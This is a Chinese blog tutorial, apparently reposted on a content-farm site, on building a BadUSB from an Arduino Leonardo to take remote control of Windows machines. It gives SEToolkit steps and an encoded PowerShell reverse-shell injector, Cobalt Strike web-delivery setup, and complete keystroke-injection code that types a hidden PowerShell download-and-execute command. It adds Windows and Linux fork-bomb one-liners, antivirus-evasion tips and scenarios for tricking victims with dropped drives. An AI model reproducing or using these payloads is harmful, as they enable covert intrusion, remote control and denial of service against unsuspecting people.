失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > badusb详细制作教程(两种方式实现远控)

badusb详细制作教程(两种方式实现远控)

时间:2021-09-28 20:26:26

相关推荐

badusb详细制作教程(两种方式实现远控)

badusb是一种几乎可以突破任何杀毒软件和防火墙的设备,堪称渗透测试利器

文章目录

前言一、什么是badusb?二,badusb的优点三,badusb是如何攻击的?badusb原理HID攻击漏洞产生原因三、准备步骤1.设备2,编辑器的安装与设置四,编写代码(重点)第一种: SEToolkit + badusb实现PowerShell注入攻击第二种:Cobalt Strike + badusb 实现PowerShell注入攻击五,烧录六,badusb有多强大攻击场景总结

BadUSB是《黑客军团》中fsociety组织常用的工具之一,无论是向服务器下载木马控制被害者主机,还是达琳在停车场帅气的扔出大量USB钓鱼,BadUSB都是功不可没的物理武器之一


前言

在美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。


一、什么是badusb?

BadUSB 是利用 USB 固件中固有的漏洞的攻击。这种攻击重新编程USB设备,使其充当人机交互设备。一旦重新设计,USB 设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。


二,badusb的优点

在USB攻击领域,很多年前常用的是老式USB病毒autorun.inf,现在估计随便一个杀毒软件就能把它杀得死死的,与autorun.inf不同,BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。

同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向badusb烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。

badusb也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的U盘,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。


三,badusb是如何攻击的?

badusb原理

利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。


HID攻击

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。


漏洞产生原因

现在的USB设备很多,比如语音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。


三、准备步骤

1.设备

制作badusb的几种板子

能够制作badusb的几种常见载体有:Arduino Leonardo、Phison、Teensy、Attiny85、PS2303(芯片)、RUBBER DUCKY等。从专业程度和易用性来讲RUBBER DUCKY最优(Hak5官方提供了许多现成的按键脚本和payload),但价格也最贵。

So,本例选择制作最常见的基于Arduino Leonardo的badusb,淘宝一搜一大把,价格在20~40¥之间


2,编辑器的安装与设置

首先第一步就是要去下载Arduino开发者工具——Arduino IDE。这里是Arduino IDE下载地址:/en/software,下载安装较为简单,这里不再赘述。安装后打开软件,你将看到如下所示的界面图:

然后打开工具-开发板-开发板管理器:

联网安装Arduino AVR Boards板子:

回到主界面,开发板选择,选择工具-开发板- Arduino Leonardo。编程器选择,AVRISP mkII,如下图所示:

至此,编辑器准备完毕


四,编写代码(重点)

第一种: SEToolkit + badusb实现PowerShell注入攻击

这种方法较为复杂,且需要本机系统为Kali Linux(大多数情况下)

SEToolkit中包含一个PowerShell注入攻击的有效载荷,适用于 Win7 - Win10系统使用,因为PowerShell脚本可以很容易的注入到目标的物理内存中,使用该载荷攻击不会触发病毒报警。

1.Kali系统中默认安装了SEToolkit工具,我们只需要运行该工具,然后从主菜单选择 1) Social-Engineering。

root@kali:~# setoolkitSelect from the menu:1) Social-Engineering Attacks2) Penetration Testing (Fast-Track)3) Third Party Modules4) Update the Social-Engineer Toolkit5) Update SET configuration6) Help, Credits, and About99) Exit the Social-Engineer Toolkitset> 1

2.然后在选择下一级菜单中的 9) PowerShell Attack Vectors。

Select from the menu:1) Spear-Phishing Attack Vectors2) Website Attack Vectors3) Infectious Media Generator4) Create a Payload and Listener5) Mass Mailer Attack6) Arduino-Based Attack Vector7) Wireless Access Point Attack Vector8) QRCode Generator Attack Vector9) Powershell Attack Vectors10) SMS Spoofing Attack Vector11) Third Party Modules99) Return back to the main menu.set> 9

3.接着我们选择第一个选项,Powershell Alphanumeric Shellcode Injector

1) Powershell Alphanumeric Shellcode Injector2) Powershell Reverse Shell3) Powershell Bind Shell4) Powershell Dump SAM Database99) Return to Main Menuset:powershell> 1

4.首先设置好本机的IP地址,我这里是 192.168.1.40 然后等待生成PowerShell脚本,默认放在 /root/.set/reports/powershell/路径下,我们复制里面的内容。

Enter the IPAddress or DNS name for the reverse host: 192.168.1.40set:powershell> Enter the port for the reverse [443]:[*] Prepping the payload for delivery and injecting alphanumeric shellcode...[*] Generating x86-based powershell injection code...[*] Reverse_HTTPS takes a few seconds to calculate..One moment..No encoder or badchars specified, outputting raw payloadPayload size: 380 bytesFinal size of c file: 1622 bytes[*] Finished generating powershell injection bypass.[*] Encoded to bypass execution restriction policy...[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/set> Do you want to start the listener now [yes/no]: : yes

5.通过badusb,在被害主机终端上执行这一段代码。(这是我生成的,每个人的都不一样)

powershell -w 1 -C "sv i -;sv pz ec;sv YD ((gv i).value.toString()+(gv pz).value.toString());powershell (gv YD).value.toString() 'JABOAHgAIAA9ACAAJwAkAEsAcwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAa'"

如果是基于RUBBER DUCKY的badusb,因为可扩展容量,必要时可以考虑把全部代码连带按键脚本烧入。

如果是像作者这种存储空间有限的基于Arduino Leonardo或其他板子的badusb,可以把代码挂在网上,使用Powershell的DownloadString命令远程下载并执行payload。优点是所需空间小,普适性强,而且耗时比上一种方法快N倍(几千个字符的差距)。

经作者实践,在获得meterpreter会话后,只有Windows defender会检测并杀掉powershell进程。基于国内使用Windows defender的人数,大可不必担心攻击失败(当然还是尽快迁移进程为妙)


第二种:Cobalt Strike + badusb 实现PowerShell注入攻击

这种方法无论本机系统是windows,Linux,甚至是Mac也能用,且操作较为简单(需要Java支持)

Cobalt Strike是美国Red Team开发的一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不再使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

首先我们安装Cobalt Strike,这里需要用到一台有公网ip的服务器,也可以使用端口映射,甚至直接server和client都在本机(针对内网渗透),我用到的是CobaltStrike4.0。

上图为Cobalt Strike运行界面

然后依次选择Attacks → Web Drive-by → Scripted Web Delivery(S)

操作正确会出现上面的界面

然后选择 Listener,点击Launch后Cobalt Strike就会创建一个内容为powershell payload的网站,同时会生成Powershell注入代码

注意:这段代码的作用是让主机从Cobalt Strike建立的网站下载payload并执行,不包含payload本体

然后的过程也不用我讲了,无非就是编写按键脚本执行Powershell注入代码


五,烧录

写好代码后,点击左上角的那个对号进行编译,没有报错信息一般就是成功了(注意要先连接Arduino Leonardo,不然烧录个寂寞)

下面是我写的Cobalt Strike的badusb代码,通用所有基于Arduino Leonardo的badusb

#include <Keyboard.h>void setup() {Keyboard.begin();//向被攻击主机发送信息,伪装成一个USB键盘并准备通讯delay(1542);//等待1.542秒,因为电脑在把Leonardo识别成键盘并接受输入时会有1~2秒的延迟,也可以看情况修改,防止输入遗漏Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);//按下大写键,防止一些中文输入法的干扰Keyboard.press(KEY_LEFT_GUI);Keyboard.press('r');Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');//输入windows+r让电脑弹出“运行”输入框delay(736);//等待0.736秒//这里等待的原因是有些速度较慢的电脑在弹出输入框是有延迟,如果不等待直接执行后续代码输入字符的话会出现输入代码不完全的情况,导致攻击失败Keyboard.println("POWERSHELL.EXE -NOP -W HIDDEN -C \"iex ((NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING(\'HTTP://192.168.1.92:80/A\'))\"");//上一行中println里的大写字母在badusb模拟键盘输入电脑时会转为小写,小写字母则会转为大写//所以在修改地址时注意要把大写字母和小写字母转换一下,否则输入代码时会因字母大小写相反导致攻击失败//192.168.1.2:80/a换成你自己的地址Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.end();}void loop() {}

小贴士:Arduino代码官方名为Arduino C,其实就是C的改版,所以如果看官方IDE不爽,也可以选择其他像Visual Studio这类C/C++ IDE,甚至VS Code也未尝不可,只要能正确导入头文件就行。写完后再拿Arduino IDE编译上传到板子,岂不美哉?

其实代码写起来不难,关键看我们自己要实现什么效果,比如先把对方开机密码先改了,然后在用各种颜色刷遍命令行,给对方一种美的享受,最后再开开心心的关掉对方桌面进程,当然能蓝屏的还是先蓝屏比较好。

六,badusb有多强大

最常见的基于Arduino Leonardo的badusb,上图没有经过任何伪装时的样子

这是经过伪装后的badusb,俨然就是一个普通的U盘。


攻击场景

①社工攻击

小姐姐,我的U盘插我的电脑显示不出来,你能帮我看看你的电脑可以吗?

②带有USB接口的终端机

找到USB接口怼进去,插谁谁怀孕

③把badusb“不小心”掉落在某个显眼的地方(甚至可以在上面贴一个标签,如“学习资料”)

同事:这里怎么有个U盘?插上去看看有没有小姐姐~

其他应用场景自行脑补,欢迎评论分享


总结

今天介绍了黑客工具badusb的制作及使用,除了这些,badusb还可以:

硬件版按键精灵,配合随机延迟可以绕过大部分游戏检测

执行windows死机命令

set /p="%0|%0"<nul>s.bat&s

执行Linux死机命令

:(){:|:&};:

如果觉得《badusb详细制作教程(两种方式实现远控)》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。